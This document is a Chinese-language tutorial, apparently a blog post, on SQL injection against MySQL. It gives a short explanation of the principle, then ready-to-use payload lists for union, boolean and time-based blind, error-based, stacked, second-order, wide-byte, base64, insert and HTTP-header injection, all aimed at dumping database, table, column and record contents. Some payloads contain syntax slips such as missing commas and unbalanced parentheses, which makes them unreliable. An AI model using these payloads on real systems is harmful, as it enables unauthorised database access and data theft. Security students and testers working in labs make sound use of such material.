原理

前端向后端发送某些数据,后端在向数据库发送sql语句请求时,如果没有对相关参数进行严格过滤,则有可能会导致危险的SQL语句被输入数据库中进行查询,从而导致数据库被未授权增删改查。

sql注入要素

1.输入内容的位置没有做限制,用户可以自由控制输入的内容。(参数用户可控)

2.用户输入的内容可以被带入数据库中执行。(参数带入数据库查询)

以后端php语句为例:

1
$query = "SELECT * FROM users WHERE id = $_GET['id']";

那么这里的参数id就是可控的,我们可以任意拼接sql语句进行攻击。

当传入的ID参数为1’时,数据库执行的代码如下图所示

1
select * from users where id = 1'

这行sql语句不符合数据库语句规范,所以会产生报错。当传入的ID参数为1 and 1=1时,执行的SQL语句如下所示

1
2
select * from users where id = 1 and 1=1  #当为真时
select * from users where id = 1 and 1=2 #当为假时

因为1=1为真,所以where语句中id=1也为真所以会返回和id=1相同的结果。

因为1=2为假,所以where语句中id=1也为假所以会返回和id=1不同的结果。

这里放一个参考表

MySQL相关知识点

库名、表名、字段名

MySQL5.0版本之后,会在数据库中默认存放一个information_schema的数据库,在这之中,有三个表名需要记住,分别是SCHEMATATABLESCOLUMNS

SCHEMATA

SCHEMATA表储存用户创建的所有数据库的库名,我需要记住该表中记录数据库库名的字段名为SCHEMA_NAME(库名)

TABLES

TABLES表储存该用户创建的所有数据库的库名和表名,我们需要记住该表中记录数据库的库名和表名的字段名分别为TABLE_SCHEMA(库名)TABLE_NAME(表名)

COLUMNS

COLUMNS表储存用户创建的所有库名、表名和字段名,我们需要记住其中的TABLE_SCHEMA(库名)TABLE_NAME(表名)COLUMN_NAME(字段名)

MySQL查询语句

在不知道任何条件时

1
SELECT 要查询的字段名 FROM 库名,表名

在已知一条条件时

1
SELECT 要查询的字段名 FROM 库名,表名 WHERE 已知条件的字段名='已知条件的值'

在已知两条条件时

1
SELECT 要查询的字段名 FROM 库名,表名 WHERE 已知条件一的字段名='已知条件一的值' AND 已知条件二的字段名='已知条件二的值'

limit的用法

limit的使用格式为limit m,n;其中m是记录开始的位置,从0开始记录,n是值取n条记录。例如limit 0,1是指从第一条记录开始,取一条记录。

要记住的几个函数

database():当前网站使用的数据库

version():当前mysql版本

user():当前mysql用户

注释符

mysql常见注释符表达方式:#或者–空格或者/**/。

内联注释

1
格式:/*!code*/

内联注释可以用于整个SQL语句中,用来执行sql语句,例如:

1
index.php?id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3

内联注释可以用来写入语句中的某一位置来完成绕过。


联合注入(Union)

流程

首先通过手注 1/1’ 和 1 and 1=1/1 and 1=2 判断是否存在SQL注入,如果/左右两边的参数输入后两次的返回结果不一致,则说明存在sql注入。(这里建议使用bp的repeater查看返回包。)

之后使用order by 1-99语句查询该数据表的字段行数,例如,如果访问id=1 order by 3,页面返回与id=1相同的结果,则说明有第三行,如果访问id=1 order by 4,页面返回与id=1不同的结果,则说明不存在第四行,所以行数为三行。

由于是将数据输出到页面上的,所以可以使用联合查询(union注入),并通过order by查询结果,我们可以通过访问以下内容来查看查看回显。

1
2
3
4
id=-1 union select 1,2,3--+

#这里的+会被解析成空格,使注释符后的内容不被解析,同理,--%20也一样,或者将#换成%23也一样。
#id=-1的原因是因为数据库中没有id=-1的数据,所以我们将id的值变成-1,那么回显就会显示我们union select查询的结果。

查看回显时如果返回了2:3,说明可以在2和3的位置输入mysql语句,比如使用database(),可以查看返回的数据库信息(这里的返回信息是数据库类型),之后就可以获取数据了。

获取库名

1
2
3
select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA

#这里的group_concat是将数据库中的内容拼接成一行回显。

获取表名

1
2
3
4
select table_name from information_schema.tables where table_schema='mysql' limit 0,1

#limit 0,1获取的是第一行的表名,如果要获取第二行的表名,结合前边提到的limit的使用,就使用limit 1,1。
#如果想要全部回显,就是用前边提到的group_concat函数。

获取字段名

1
2
3
select column_name from information_schema.columns where table_schema='mysql' and table_name='usernames' limit 0,1

#获取其他字段名和上述步骤同理

获取字段数据

拿到库名,表名和字段名之后,我们就可以构造SQL语句获取具体的值了。

1
select username_id from mysql.usernames limit 0,1

这里把相关查询语句总结放在这里(Union注入)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#获取长度
id=1 order by 4

#确定位置,后续语句将1,2,3中某个可用数字更改为(该语句)
id=-1' union select 1,2,3

#库名
select SCHEMA_NAME from information_schema.SCHEMATA limit 0,1

#表名
select table_name from information_schema.tables where table_schema='mysql' limit 0,1

#字段名
select column_name from information_schema.columns where table_schema='mysql' and table_name='usernames' limit 0,1

#具体值
select username_id from mysql.usernames limit 0,1

布尔盲注(Boolean)

流程

判断长度

首先通过在id=1后边添加单引号来判断是否存在SQL注入,之后在通过拼接and 1=1%23和and 2=2%23再次查看(这里%23是#注释符,用于将后边代码命令注释掉)。

如果发现返回包中的返回结果只有yes或者no说明,无法返回数据,只能返回yes或者no,那么合理我们就只能使用Boolean盲注。

首先来判断数据库名长度,id=1后拼接以下命令

1
2
3
' and length(database())=1--+ 

#有单引号所以需要注释符来注释,1的位置上可以是任何数字,这里用不同的数字查看返回的结果,如果是yes说明长度是该数字,如果是no说明长度不是该数字。(这里数字的含义是大于等于该数字)

查询库名

接着逐字符判断的方式来获取数据库库名,数据库苦命范围一般在az,09之间,可能会加一些特殊字符,字母不区分大小写,相关语句如下

1
2
3
4
' and substr(database(),1,1)='m'--+

#这里的substr意思是截取database()的值,从第一个字符开始,每次返回一个。
#substr和limit不一样,substr是从1开始排序,而limit是从0开始排序

之后使用burp的爆破功能爆破其中的’t’的值,通过返回包返回yes或者no来判断是否是该值。

也可以使用ASCII码的方式进行查询,s的ASCII码是115,mysql的ASCII转换函数是ascii(),那么语句就可以改成

1
' and ascii(substr(database(),1,1))=115--+

那么后边的数据库库名就可以逐步判断了,假如我们前边判断库名长度为5,那么就要往后判断5位,相关语句也要修改。

1
2
3
' and substr(database(),2,1)='y'--+

#我们在这里判断第几位,database()后的数字就修改成几

查询表名

之前查询库名我们在语句中使用了database(),那么我们查询表明就将相应位置替换为查询表名的语句

1
select table_name from information_schema.tables where table_schema='mysql' limit 0,1

那么完整的语句就应该更改为

1
' and substr((select table_name from information_schema.tables where table_schema='mysql' limit 0,1),1,1)='s'--+

那么用这种方法我们很快就可以查出所有的表名和字段名。

这里把相关查询语句总结放在这里(Boolean盲注):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#获取长度
' and length(database())=1--+

#库名
' and substr(database(),1,1)='库名第一位'--+ #第一种

' and substr((select schema_name from information_schema.schemata limit 0,1),1,1)='库名第一位' #第二种

#表名
' and substr((select table_name from information_schema.tables where table_schema='mysql' limit 0,1),1,1)='表名第一位'--+

#字段名
' and substr((select column_name from information_schema.columns where table_schema='mysql' and table_name='usernames' limit 0,1),1,1)='字段名第一位'--+

#具体值
' and substr((select username_id from mysql.usernames limit 0,1),1,1)='字段名第一位'--+

报错注入

流程

如果访问的场景url后缀为?username=1之类的,我们在参数后边拼接’,在数据库执行语句时会因为语法错误报错,输出到页面的结果输出报错信息。

报错注入的格式很多(http://t.csdnimg.cn/KwGiT)这里用updatexml()演示

获取use()的值

1
2
3
' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+

#这里的0x7e是ASCII编码,解码结果为~。所以这里返回包的信息应该是~username~

获取库名

1
' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

之后可以使用select语句获取库名,表明字段名,查询语句与union注入的相同,因为报错注入只显示一条结果,所以需要使用limit语句

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#获取use()值
' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+

#获取库名
' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+ #方法一

' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),1)--+ #方法二

#获取表名
' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='mysql' limit 0,1),0x7e),1)--+

#获取字段名
' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='mysql' and table_name='usernames' limit 0,1),0x7e),1)--+

#获取值
' and updatexml(1,concat(0x7e,(select username_id from mysql.usernames limit 0,1),0x7e),1)--+

时间盲注

时间盲注与布尔盲注很像,首先在url的id=1后拼接单引号查看返回包,如果返回的是no,说明只能返回yes或者no,那我们除了布尔盲注外可以通过查看bp里repeater返回包右下角的响应时间来做判断。

1
#1秒=1000毫秒

流程

查询库名长度

1
2
3
4
5
6
if (length(database())>1,sleep(5),1)

#意思是如果数据库库名长度大于1,吧呢么MySQL查询休眠5秒,否则查询1,之后就可以通过返回包响应时间来做判断

if (length(database())>10,sleep(5),1)
#如果把数句酷库名长度改为大于10,返回的时间极少,说明语句被成功执行,说明数据库库名长度不大于10

之后就可以执行库名等的查询了,语句如下

1
2
3
4
5
6
7
8
9
10
11
12
#查询库名(通过查看返回包的响应式时间来判断字母对不对)
if(substr(database()1,1)='s',sleep(5),1) #方法一
if(substr((select schema_name from information_schema.schemata limit 0,1),1,1))='s',sleep(5),1) #方法二

#查询表名
if(substr((select table_name from information_schema.tables where table_schema='mysql' limit 0,1),1,1))='s',sleep(5),1)

#查询字段名
if(substr((select column_name from information_schema.columns where table_schema='mysql' and table_name='usernames' limit 0,1),1,1)='s',sleep(5),1)

#查询值
if(substr((select username_id from mysql.usernames limit 0,1),1,1)='s',sleep(5),1)

堆叠注入

堆叠查询可以执行多条语句,多语句之间用分号隔开,堆叠注入就是使用这个特点,在第二个SQL语句中构造自己要执行的语句。

流程

首先访问id=1’,页面返回mysql错误,再访问id=1’%23,页面返回正常结果,这里就可以使用布尔盲注,时间注入和堆叠注入。

获取user()值语句

1
2
3
';select if(substr(user()1,1)='s',sleep(3),1)%23

#所以堆叠注入就是'; select后加时间注入的语句

那么相应的构造语句为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#获取长度
'; select if (length(database())>1,sleep(3),1)%23

#获取库名
'; select if(substr(database()1,1)='s',sleep(3),1)%23 #方法一

'; selectif(substr((select schema_name from information_schema.schemata limit 0,1),1,1))='s',sleep(3),1)%23#方法二

#获取表名
'; select if(substr((select table_name from information_schema.tables where table_schema='mysql' limit 0,1),1,1))='s',sleep(3),1)%23

#获取字段名
'; select if(substr((select column_name from information_schema.columns where table_schema='mysql' and table_name='usernames' limit 0,1),1,1)='s',sleep(5),1)%23

#获取值
'; select if(substr((select username_id from mysql.usernames limit 0,1),1,1)='s',sleep(5),1)%23

二次注入

二次注入场景假设:两个页面,页面一(1.php)功能是注册用户名,也是插入SQL语句的地方,页面二(2.php)功能是通过参数ID读取用户名和用户信息。

流程

访问1.php?username=test’,结果返回一个id号为21,这说明用户名test‘对应的id为21,那么我们去另一个页面访问2.php?id=21,如果返回了Mysql的错误,说明这里大概率存在SQL注入。

我们回到第一个页面访问1.php?username=test’ order by 1%23,拿到新的id=32,之后带着新的id=32去访问页面2.php?id=32,返回空白页面。

这时我们再拿一个新的id,访问1.php?username=test’ order by 10%23,拿到一个新的id=33,之后拿着id=33去访问页面2.php?id=33,如果返回Mysql报错(Unknown column ‘10’ in ‘order clause’),说明之前的空白页面是正常返回,之后重复order by来判断字段数量。

假设这里有三个字段,我们通过访问2.php?username=test’ union select 1,2,3%23,获取到新的id=39,之后访问2.php?id=39,发现返回union select中的2和3字段。

那么之后我们就可以在2和3的位置插入查询语句,比如访问1.php?id=test’ union select 1,user(),3%23,获取新的id=40,得到user()的结果。

查询语句与联合注入相同,只是查看返回结果时,要拿1.php页面的id号去2.php查看。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#获取长度
id=1 order by 4

#确定位置,后续语句将1,2,3中某个可用数字更改为(该语句)
id=-1' union select 1,2,3

#库名
select SCHEMA_NAME from information_schema.SCHEMATA limit 0,1

#表名
select table_name from information_schema.tables where table_schema='mysql' limit 0,1

#字段名
select column_name from information_schema.columns where table_schema='mysql' and table_name='usernames' limit 0,1

#具体值
select username_id from mysql.usernames limit 0,1

宽字节注入

当出现以下场景:

当访问id=1’返回的结果没有报错,而是返回了查询语句并将’前加入了一个转义符\,如下所示

1
SELECT * FROM users where id='1\'' limit 0,1

此处说明参数id=1在数据库查询时是被单引号包围的,当传入id=1’时,传入的单引号被\转义,导致参数ID无法逃逸单引号的包围,所以一般情况下,此处是不存在SQL注入漏洞的,但是有一个特例,当数据库编码为GBK时,可以使用宽字节注入。

宽字节注入格式是在地址后加一个%df,再加单引号,因为反斜杠的编码是%5c,而在GBK编码中,%df%5c是繁体字’縗’,所以这时,单引号成功逃逸,爆出mysql数据库错误。

由于输入的参数id=1’,导致SQL语句多了一个单引号,所以需要使用注释符来注释自身的单引号,访问id=1%df%23,,此时\和%df一起被转义了,所以单引号成功逃逸,SQL语句就符合语法规范。

之后就可以结合union注入的语句进行查询了,但是格式需要作出一定的改变

流程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#判断注入
id=1%df' and 1=1%23 #为真时返回结果,返回查询语句
id=1%df' and 1=2%23 #为假时不返回结果,只返回查询语句

#查询字段数量
id=1%df' order by 3%23

#确定返回位置
id=1%df' union select 1,2,3%23

#获取库名,后续语句则是将user(),修改为(该语句)
id=-1%df' union select 1,user(),3,%23

#获取表名,单引号被转义,所以这里嵌套查询
select table_name from information_schema.tables where tables_schema=(select database()) limit 0,1%23

#获取字段名,这里使用了三层嵌套,第一层是table_schema,他代表苦命的嵌套,第二层和第三层是table_name的嵌套,我们可以看到语句中有两个limit,前一个limit控制表名的顺序,后一个limit控制字段名的顺序
select column_name from information_schema.columns where table_schema=(select database()) and table_name=(select table_name from information_schema.tables where table_schema=(select database()) limit 0,1)limit 0,1

cookie注入

总体流程和union注入一样,不一样的点在于,不是在url处返回id=1,而是在cookie处返回url等于1。

base64注入

总体流程和union注入一样,不一样的点在于,ID参数被base64位编码了,我们的查询语句要经过base64位编码。(%3d是url编码)

流程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#获取长度
id=MSBvcmRlciBieSA0

#确定位置,后续语句将1,2,3中某个可用数字更改为(该语句)
id=LTEnIHVuaW9uIHNlbGVjdCAxLDIsMw==

#库名
c2VsZWN0IFNDSEVNQV9OQU1FIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLlNDSEVNQVRBIGxpbWl0IDAsMQ==

#表名
c2VsZWN0IHRhYmxlX25hbWUgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIHdoZXJlIHRhYmxlX3NjaGVtYT0nbXlzcWwnIGxpbWl0IDAsMQ==

#字段名
c2VsZWN0IGNvbHVtbl9uYW1lIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLmNvbHVtbnMgd2hlcmUgdGFibGVfc2NoZW1hPSdteXNxbCcgYW5kIHRhYmxlX25hbWU9J3VzZXJuYW1lcycgbGltaXQgMCwxICAgIA==

#具体值
c2VsZWN0IHVzZXJuYW1lX2lkIGZyb20gbXlzcWwudXNlcm5hbWVzIGxpbWl0IDAsMQ==

insert注入

和报错注入大差不差,但是取消了注释符,换成了and’或者or’

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#获取use()值
' and updatexml(1,concat(0x7e,(select user()),0x7e),1) and'

#获取库名
' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and'
#方法一(获取当前库名)
' and updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata limit 0,1),1,31),0x7e),1) and'
#方法二(获取当前所有库名)

#获取表名
' and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),1,30),0x7e),1) and'

#获取字段名
' and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_schema='pikachu' and table_name='httpinfo'),1,30),0x7e),1) and'

#获取值
' and updatexml(1,concat(0x7e,substr((select group_concat(ipaddress) from httpinfo),1,30),0x7e),1) and'

##substr在使用时,结尾数字如果是1,30的话,我们使用31,30就可以把剩余的内容显示出来

http头注入

如果http头部参数例如User-agent,Referer,XFF,cookie等地方

UA头注入

这是一种基于insert注入的场景,添加’看是否报错判断是否存在注入点,之后使用insert注入的payload来进行sql测试

1
User-Agent: ' and updatexml(1,concat('~',database()),1) and '

Referer注入

和UA头差不多,只是位置换成了Referer的位置

1
Referer: ' and updatexml(1,concat('~',database()),1) and '

Cookie注入

也差不多,但是换个位置

1
Cookie:user=admin ' and updatexml(1,concat('~',database()),1) and '

XFF注入

如果http请求头有一个头部参数为X-Forwarded-for(简称XFF头),他代表了客户端真实ip,通过修改XFF值可以伪造客户端ip,如果将XFF设置为127.0.0.1,然后访问该url页面返回正常。

之后尝试将127.0.0.1加上’,即127.0.0.1’再次访问,页面返回报错信息,之后通过and 1=1#和and 1=2#再次访问判断是否存在SQL注入,之后使用union注入的方法完成注入。